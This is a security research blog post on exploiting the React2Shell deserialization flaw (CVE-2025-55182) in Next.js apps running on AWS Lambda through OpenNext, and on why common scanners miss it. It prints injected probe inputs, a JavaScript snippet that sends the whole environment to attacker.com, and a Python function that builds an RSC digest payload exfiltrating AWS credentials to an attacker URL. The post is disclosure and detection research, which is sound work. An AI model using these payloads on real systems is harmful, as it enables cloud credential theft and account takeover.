React2Shell for Lambdas

Introduction
Since the React2Shell vulnerability (CVE-2025-55182) became public, most organizations have either patched their systems or learned the hard way through ransomware attacks. This post serves as a follow-up to the excellent research conducted by many many organizations.
For context, CVE-2025-55182 is a critical 10.0 vulnerability in the React Server Components (RSC) “Flight” protocol that affects the React 19 ecosystem and frameworks implementing it, most notably Next.js. The vulnerability involves unsafe deserialization in the RSC protocol, which enables remote code execution. While the technical details of the vulnerability itself are fascinating, they are not the focus of this post. If you want to dive deeper into the vulnerability mechanics, I recommend reading some of Wiz’s original research.
The AssetNote team created an impressive scanner (react2shell-scanner) that scans hosts at scale to identify servers vulnerable to this issue. It works exceptionally well for traditional server deployments.
But what about serverless infrastructure? Many organizations deploy applications on AWS Lambda functions, which support runtimes like Node.js and Python. Are these serverless deployments vulnerable?
My initial assumption was that they wouldn’t be. After all, it’s difficult to imagine how a server-side component vulnerability in React could manifest in a serverless architecture. The ephemeral nature of Lambda functions and the different request/response patterns seemed like they would naturally mitigate this attack vector.
However, after deeper investigation, I discovered that not only were existing scanners missing these vulnerable serverless deployments, but I couldn’t find any public research demonstrating how this vulnerability could be exploited in Lambda functions.
This blog post will explore exactly that: how CVE-2025-55182 can be exploited in serverless Lambda environments, and why existing scanners fail to detect it.
Understanding Serverless Next.js Deployments
To understand why this vulnerability manifests differently in serverless environments, we first need to examine how Next.js applications are deployed on AWS Lambda.
Traditional Next.js Deployments
In a traditional deployment, Next.js runs as a persistent Node.js server process. The server starts up, loads all routes and components into memory, and maintains state between requests. When a request comes in, the server processes it using the in-memory application state, handles React Server Components (RSC) rendering, and returns the response. The server remains running, ready to handle subsequent requests.
This persistent nature means that RSC protocol responses are generated and returned in a predictable, consistent manner. These responses include the serialized component data and digest values. The server maintains the full application context throughout its lifecycle.
The Lambda Challenge
AWS Lambda functions operate fundamentally differently. Lambda is an event-driven, serverless compute service where functions are invoked on-demand and execute in isolated execution environments. Each invocation may run in a fresh container (cold start) or reuse a warm container from a previous invocation, but the execution environment is ephemeral and stateless.
Lambda functions have several key characteristics that differ from traditional servers:
- Stateless execution: Each invocation is independent. There’s no shared memory or state between invocations (unless explicitly managed through external services).
- Request/response transformation: Lambda functions receive events in AWS’s specific format (API Gateway events, ALB events, etc.) and must return responses in a corresponding format.
- Cold starts: When a function hasn’t been invoked recently, AWS must initialize a new execution environment, which adds latency.
- Resource limits: Lambda functions have memory and execution time limits, and the execution environment is destroyed after the function completes or times out.
Enter OpenNext.js
The challenge is that Next.js wasn’t designed for Lambda’s event-driven model. AWS Lambda doesn’t natively support Next.js. It supports Node.js, Python, and other runtimes, but not Next.js frameworks directly.
This is where OpenNext.js comes in. OpenNext.js is an open-source adapter that takes Next.js build output and converts it into packages deployable across various environments, with native support for AWS Lambda and traditional Node.js servers.
OpenNext.js works by:
- Processing the Next.js build: It takes the standard Next.js build output (from
next build) and transforms it into Lambda-compatible packages. - Route packaging: It packages each Next.js route as a separate Lambda function or groups routes intelligently to optimize for Lambda’s execution model.
- Event transformation: It handles the conversion between AWS Lambda event formats (API Gateway, ALB, etc.) and Next.js’s expected request/response format.
- RSC protocol handling: It adapts how React Server Components are processed and serialized to work within Lambda’s stateless, event-driven architecture.
The result is that organizations can deploy full Next.js applications on AWS Lambda. These applications include Server Components, API routes, and middleware, allowing teams to achieve serverless scalability while maintaining Next.js functionality.
Why This Matters for React2Shell (CVE-2025-55182)
The architectural differences between traditional Next.js deployments and OpenNext.js Lambda deployments create a critical gap in vulnerability detection. Traditional scanners detect RSC protocol vulnerabilities by examining responses from persistent servers where the RSC serialization format is consistent and predictable.
In Lambda environments, OpenNext.js transforms responses to fit Lambda’s event-driven model, and the stateless execution model means RSC component state and digests may be generated differently. The adapter layer between Lambda events and Next.js may also modify how RSC protocol data is serialized or presented.
As a result, scanners looking for specific RSC protocol signatures in traditional server responses fail to recognize the same vulnerability when it manifests in Lambda’s transformed response format.
Why Existing Scanners Fail
As you might have noticed from the demonstration at the top, almost every major scanner on the market missed this bug in serverless environments. This isn’t because the tools are poorly built. In fact, it’s quite the opposite. Tools like AssetNote’s react2shell-scanner and surajhacx’s POC are top-tier and worked perfectly for traditional server deployments.
The problem is that Lambda is an edge case that breaks their core assumptions. To illustrate this gap, I ran a popular open-source scanner against a known-vulnerable OpenNext.js deployment. Despite the underlying vulnerability being active, the scanner returned a clean bill of health.

This creates a dangerous false sense of security. If your security team is relying on these tools to audit your serverless footprint, you’re flying blind.
By contrast, when we point a scanner that understands the serverless execution context at the same endpoint, the results are immediate. Instead of looking for a shell that doesn’t exist, we probe for the environment itself.

As you can see, the vulnerability is very much alive. It just requires a different perspective to detect.
Most scanners use a payload that relies on process.mainModule.require('child_process') to drop into a shell. On a standard Node.js server, this is the gold standard for RCE. But on Lambda? It’s a dead end.
You can see the exact payload structure in the open-source scanners:
- AssetNote’s react2shell-scanner - Line 99 shows the payload construction
- surajhacx’s react2shellpoc - Line 119 shows the exploit payload generation
Both tools construct a multipart form-data payload that injects JavaScript code into the RSC protocol’s deserialization process, attempting to execute shell commands via child_process.execSync().
Demonstrating the Vulnerability
When I first fired these standard payloads against a Lambda-backed Next.js site, I got nothing but silence. No shell, no callback, just a 500 Internal Server Error.
I had to stop thinking about “Shell RCE” and start thinking about the Execution Context.
The “Aha!” Moment
I realized my code wasn’t running in a standard Node.js process. It was buried under layers of abstraction:
┌─────────────────────────────────────────────────────────────────┐
│ AWS Lambda Runtime │
│ ┌───────────────────────────────────────────────────────────┐ │
│ │ Node.js v20.19.4 │ │
│ │ ┌─────────────────────────────────────────────────────┐ │ │
│ │ │ Webpack Bundle Runtime │ │ │
│ │ │ ┌───────────────────────────────────────────────┐ │ │ │
│ │ │ │ Next.js Server Components │ │ │ │
│ │ │ │ ┌─────────────────────────────────────────┐ │ │ │ │
│ │ │ │ │ RSC Deserialization (Function() call) │ │ │ │ │
│ │ │ │ │ │ │ │ │ │
│ │ │ │ │ >>> YOUR CODE RUNS HERE <<< │ │ │ │ │
│ │ │ │ │ │ │ │ │ │
│ │ │ │ └─────────────────────────────────────────┘ │ │ │ │
│ │ │ └───────────────────────────────────────────────┘ │ │ │
│ │ └─────────────────────────────────────────────────────┘ │ │
│ └───────────────────────────────────────────────────────────┘ │
└─────────────────────────────────────────────────────────────────┘
I decided to probe the environment directly. Using the vulnerability itself to leak information, I started running commands to see what was “alive” inside the sandbox.
Probing the Sandbox
Here is a look at my research notes as I manually tested the environment. The “js:” prefix represents the code I injected into the RSC stream:
Test 1: Check for require
Input: js:typeof require
Output: undefined
Wait, what? require is gone?
Test 2: Check for process.mainModule
Input: js:typeof process.mainModule
Output: undefined
Okay, that explains why the standard RCE payloads were failing with TypeErrors. The global module system is completely gutted.
Test 3: Check for fetch
Input: js:typeof fetch
Output: function
Bingo. Modern Node.js 20+ runtimes (used by Lambda) include fetch globally. I have a network primitive.
Test 4: The Jackpot
Input: js:process.env.AWS_ACCESS_KEY_ID
Output: ASIARV5D554ZU5PVOH3L
And there it is. Full access to the Lambda’s environment variables.
The Lambda Difference: From RCE to SSJI
This is the technical reality of CVE-2025-55182 in a serverless world. While traditional RCE (dropping a shell) is blocked, we have something potentially more dangerous in a cloud environment: Server-Side JavaScript Injection (SSJI).
Why Traditional RCE is Blocked (Accidentally)
The security boundary that prevents RCE in Lambda isn’t intentional hardening. Instead, it’s a side effect of Webpack bundling:
- Webpack replaces
require(): Next.js production builds use Webpack, which replaces the standardrequirewith its own__webpack_require__. This new version doesn’t know how to load native Node.js modules likechild_process. - No
process.mainModule: In a bundled environment, there is no “main module” reference for Webpack to set, breaking the standard RCE chain. - Read-Only Filesystem: Even if you got a shell,
/var/taskis read-only. You can’t drop a persistent backdoor or install new tools.
The Power of SSJI: Stealing the Keys to the Kingdom
If an attacker has SSJI, they don’t need a shell to destroy your infrastructure. They can simply exfiltrate your live AWS credentials.
Here is what a modern “Serverless Exploit” payload looks like. Instead of trying to run id or whoami, it grabs the environment and sends it to an attacker-controlled server:
// The "Modern" Serverless Payload
const exfil = async () => {
const env = JSON.stringify(process.env);
await fetch('https://attacker.com/log', {
method: 'POST',
body: env
});
};
exfil();
Inside the RSC protocol, this looks like this:
def build_payload(attacker_url):
# Escape the JS to fit inside the RSC digest string
escaped_js = (
f"fetch('{attacker_url}/?keys=' + "
f"btoa(JSON.stringify(process.env)))"
".catch(e => {});"
).replace('"', '\\"')
# Wrap it in the RSC redirect 'digest' field to trigger execution
return f'throw Object.assign(new Error("NEXT_REDIRECT"),{{digest:"NEXT_REDIRECT;push;/;307;{escaped_js}"}});'
RCE vs SSJI: A Side-by-Side Comparison
| Attack Capability | Traditional Shell RCE | Lambda SSJI |
|---|---|---|
Read /etc/passwd | ✅ | ❌ |
| Reverse Shell | ✅ | ❌ |
| AWS Credential Theft | ✅ | ✅ |
| Full Environment Dump | ✅ | ✅ |
| Internal SSRF (via fetch) | ✅ | ✅ |
| Application Secret Leakage | ✅ | ✅ |
In a cloud-native world, stealing an AWS_SESSION_TOKEN is often more valuable than getting a shell. Once an attacker has those keys, they can pivot through your S3 buckets, query your DynamoDB, and escalate privileges across your entire account.
The Irony of Modern Tooling
The most fascinating part of this research is the irony: modern JavaScript tooling accidentally saved us from the worst-case scenario.
Webpack bundling, which was designed to optimize code and reduce bundle size, inadvertently created a sandbox that prevents the RSC vulnerability from becoming a full-blown shell RCE. It wasn’t a security engineer who stopped the shell. It was a build optimization.
Detection and Mitigation
So how do we fix this? Full payload and research can be found on our GitHub here.
The first step is updating your scanners. If your scanner is only looking for shell-based RCE indicators, it is missing your entire serverless footprint.
Organizations should:
- Patch React and Next.js immediately to the latest versions.
- Audit IAM roles: Ensure your Lambda functions follow the principle of least privilege. If a function only needs to read one S3 bucket, it shouldn’t have
AdministratorAccess. - Monitor Outbound Traffic: Use tools like VPC Flow Logs to detect unusual outbound
fetchrequests from your Lambda functions.